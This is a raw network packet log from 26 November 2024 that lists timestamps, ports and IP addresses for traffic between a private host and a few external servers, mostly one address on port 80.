Nov 26, 2024 16:31:50.178843021 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:50.178850889 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:50.178898096 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:50.179538012 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:50.179761887 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:50.179964066 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:50.180429935 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:50.180521011 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:50.181088924 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:50.181221962 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:50.181557894 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:50.181567907 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:50.181778908 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:50.182297945 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:50.182305098 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:50.182379007 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:50.183054924 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:50.183062077 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:50.183331966 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:50.183826923 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:50.183835030 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:50.183978081 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:50.184613943 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:50.184621096 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:50.184686899 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:50.185441971 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:50.185453892 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:50.186153889 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:50.186314106 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:50.186321020 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:50.186389923 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:50.187136889 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:50.187144995 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:50.187212944 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:50.187897921 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:50.187905073 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:50.187983990 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:50.188570023 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:50.188576937 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:50.188857079 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:50.189320087 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:50.189326048 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:50.189434052 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:50.190465927 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:50.190473080 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:50.190670967 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:50.191234112 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:50.191241980 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:50.191333055 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:50.191975117 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:50.191982985 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:50.192114115 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:50.192750931 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:50.192758083 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:50.193068027 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:50.193514109 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:50.193521023 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:50.193572044 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:50.194322109 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:50.194329977 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:50.194483042 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:50.195111990 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:50.195118904 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:50.195297956 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:50.196073055 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:50.196079016 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:50.196222067 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:50.196902990 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:50.196909904 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:50.197019100 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:50.197725058 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:50.197732925 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:50.197803974 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:50.198340893 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:50.198395967 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:50.198416948 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:50.198515892 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:50.199362993 CET	443	49889	23.200.88.29	192.168.2.6
Nov 26, 2024 16:31:50.199449062 CET	49889	443	192.168.2.6	23.200.88.29
Nov 26, 2024 16:31:50.199471951 CET	443	49889	23.200.88.29	192.168.2.6
Nov 26, 2024 16:31:50.199938059 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:50.199945927 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:50.200052977 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:50.200896025 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:50.200901985 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:50.200982094 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:50.201792002 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:50.201800108 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:50.201916933 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:50.202707052 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:50.202716112 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:50.202729940 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:50.202764034 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:50.202799082 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:50.203545094 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:50.203635931 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:50.204519987 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:50.204576969 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:50.205159903 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:50.205305099 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:50.206127882 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:50.206355095 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:50.207253933 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:50.207432032 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:50.208173990 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:50.208234072 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:50.247543097 CET	49889	443	192.168.2.6	23.200.88.29
Nov 26, 2024 16:31:50.265882015 CET	443	49890	13.107.246.63	192.168.2.6
Nov 26, 2024 16:31:50.269890070 CET	49890	443	192.168.2.6	13.107.246.63
Nov 26, 2024 16:31:50.269915104 CET	443	49890	13.107.246.63	192.168.2.6
Nov 26, 2024 16:31:50.270744085 CET	49890	443	192.168.2.6	13.107.246.63
Nov 26, 2024 16:31:50.270751953 CET	443	49890	13.107.246.63	192.168.2.6
Nov 26, 2024 16:31:50.292499065 CET	443	49889	23.200.88.29	192.168.2.6
Nov 26, 2024 16:31:50.292514086 CET	443	49889	23.200.88.29	192.168.2.6
Nov 26, 2024 16:31:50.292542934 CET	443	49889	23.200.88.29	192.168.2.6
Nov 26, 2024 16:31:50.292556047 CET	443	49889	23.200.88.29	192.168.2.6
Nov 26, 2024 16:31:50.292594910 CET	49889	443	192.168.2.6	23.200.88.29
Nov 26, 2024 16:31:50.292615891 CET	443	49889	23.200.88.29	192.168.2.6
Nov 26, 2024 16:31:50.292633057 CET	49889	443	192.168.2.6	23.200.88.29
Nov 26, 2024 16:31:50.292659998 CET	49889	443	192.168.2.6	23.200.88.29
Nov 26, 2024 16:31:50.487392902 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:50.487406015 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:50.487411022 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:50.487417936 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:50.487494946 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:50.495945930 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:50.495965958 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:50.496011019 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:50.496018887 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:50.496038914 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:50.496046066 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:50.496058941 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:50.496077061 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:50.496090889 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:50.496105909 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:50.496119022 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:50.496124983 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:50.496134996 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:50.496149063 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:50.496155977 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:50.496156931 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:50.496177912 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:50.496185064 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:50.496189117 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:50.496212959 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:50.496215105 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:50.496221066 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:50.496232033 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:50.496248960 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:50.496256113 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:50.496258974 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:50.496301889 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:50.496321917 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:50.507925034 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:50.507944107 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:50.508025885 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:50.509367943 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:50.509373903 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:50.509401083 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:50.509407997 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:50.509427071 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:50.509433031 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:50.509443998 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:50.509478092 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:50.513237000 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:50.513253927 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:50.513324022 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:50.515614986 CET	443	49891	23.200.88.29	192.168.2.6
Nov 26, 2024 16:31:50.515649080 CET	443	49891	23.200.88.29	192.168.2.6
Nov 26, 2024 16:31:50.515656948 CET	443	49891	23.200.88.29	192.168.2.6
Nov 26, 2024 16:31:50.515678883 CET	443	49891	23.200.88.29	192.168.2.6
Nov 26, 2024 16:31:50.515697002 CET	443	49891	23.200.88.29	192.168.2.6
Nov 26, 2024 16:31:50.515703917 CET	443	49891	23.200.88.29	192.168.2.6
Nov 26, 2024 16:31:50.515713930 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:50.515722036 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:50.515727997 CET	49891	443	192.168.2.6	23.200.88.29
Nov 26, 2024 16:31:50.515765905 CET	443	49891	23.200.88.29	192.168.2.6
Nov 26, 2024 16:31:50.515783072 CET	49891	443	192.168.2.6	23.200.88.29
Nov 26, 2024 16:31:50.515793085 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:50.515815973 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:50.515827894 CET	49891	443	192.168.2.6	23.200.88.29
Nov 26, 2024 16:31:50.516160965 CET	443	49889	23.200.88.29	192.168.2.6
Nov 26, 2024 16:31:50.516175032 CET	443	49889	23.200.88.29	192.168.2.6
Nov 26, 2024 16:31:50.516244888 CET	49889	443	192.168.2.6	23.200.88.29
Nov 26, 2024 16:31:50.516259909 CET	443	49889	23.200.88.29	192.168.2.6
Nov 26, 2024 16:31:50.516273975 CET	443	49889	23.200.88.29	192.168.2.6
Nov 26, 2024 16:31:50.516315937 CET	49889	443	192.168.2.6	23.200.88.29
Nov 26, 2024 16:31:50.516320944 CET	443	49889	23.200.88.29	192.168.2.6
Nov 26, 2024 16:31:50.551429033 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:50.551443100 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:50.551454067 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:50.551470041 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:50.551486015 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:50.551492929 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:50.551500082 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:50.551512003 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:50.551517963 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:50.551528931 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:50.551552057 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:50.551558018 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:50.551569939 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:50.551575899 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:50.551577091 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:50.551577091 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:50.551583052 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:50.551589012 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:50.551592112 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:50.551595926 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:50.551601887 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:50.551624060 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:50.551629066 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:50.551640987 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:50.551646948 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:50.551659107 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:50.551667929 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:50.551673889 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:50.551685095 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:50.551692009 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:50.551697969 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:50.551711082 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:50.551717997 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:50.551717997 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:50.551723003 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:50.551753044 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:50.551763058 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:50.551769018 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:50.551778078 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:50.551803112 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:50.551820040 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:50.551831961 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:50.551837921 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:50.551848888 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:50.551866055 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:50.551873922 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:50.551879883 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:50.551898003 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:50.551903963 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:50.551915884 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:50.551920891 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:50.551928043 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:50.551949024 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:50.551948071 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:50.551954985 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:50.551956892 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:50.551974058 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:50.551980019 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:50.551980019 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:50.552005053 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:50.552007914 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:50.552011013 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:50.552037001 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:50.552048922 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:50.552056074 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:50.552062035 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:50.552088022 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:50.552093983 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:50.552119017 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:50.552120924 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:50.552125931 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:50.552136898 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:50.552145004 CET	443	49889	23.200.88.29	192.168.2.6
Nov 26, 2024 16:31:50.552160978 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:50.552167892 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:50.552172899 CET	443	49889	23.200.88.29	192.168.2.6
Nov 26, 2024 16:31:50.552187920 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:50.552191019 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:50.552196980 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:50.552206993 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:50.552212954 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:50.552218914 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:50.552225113 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:50.552225113 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:50.552232027 CET	49889	443	192.168.2.6	23.200.88.29
Nov 26, 2024 16:31:50.552239895 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:50.552246094 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:50.552259922 CET	443	49889	23.200.88.29	192.168.2.6
Nov 26, 2024 16:31:50.552265882 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:50.552265882 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:50.552282095 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:50.552285910 CET	49889	443	192.168.2.6	23.200.88.29
Nov 26, 2024 16:31:50.552288055 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:50.552294016 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:50.552311897 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:50.552318096 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:50.552323103 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:50.552335024 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:50.552340984 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:50.552345037 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:50.552347898 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:50.552356958 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:50.552360058 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:50.552366018 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:50.552371979 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:50.552376032 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:50.552377939 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:50.552383900 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:50.552392006 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:50.552407026 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:50.552450895 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:50.553076982 CET	443	49889	23.200.88.29	192.168.2.6
Nov 26, 2024 16:31:50.553098917 CET	443	49889	23.200.88.29	192.168.2.6
Nov 26, 2024 16:31:50.553150892 CET	49889	443	192.168.2.6	23.200.88.29
Nov 26, 2024 16:31:50.553158045 CET	443	49889	23.200.88.29	192.168.2.6
Nov 26, 2024 16:31:50.553195953 CET	49889	443	192.168.2.6	23.200.88.29
Nov 26, 2024 16:31:50.553323984 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:50.553330898 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:50.553342104 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:50.553349018 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:50.553354979 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:50.553361893 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:50.553366899 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:50.553373098 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:50.553379059 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:50.553384066 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:50.553390026 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:50.553395987 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:50.553396940 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:50.553405046 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:50.553433895 CET	443	49891	23.200.88.29	192.168.2.6
Nov 26, 2024 16:31:50.553438902 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:50.553446054 CET	443	49891	23.200.88.29	192.168.2.6
Nov 26, 2024 16:31:50.553487062 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:50.553493977 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:50.553494930 CET	49891	443	192.168.2.6	23.200.88.29
Nov 26, 2024 16:31:50.553503990 CET	443	49891	23.200.88.29	192.168.2.6
Nov 26, 2024 16:31:50.553539038 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:50.553544998 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:50.553550005 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:50.553555965 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:50.553561926 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:50.553561926 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:50.553567886 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:50.553569078 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:50.553581953 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:50.553587914 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:50.553589106 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:50.553594112 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:50.553600073 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:50.553606033 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:50.553606987 CET	49809	80	192.168.2.6	185.215.113.206
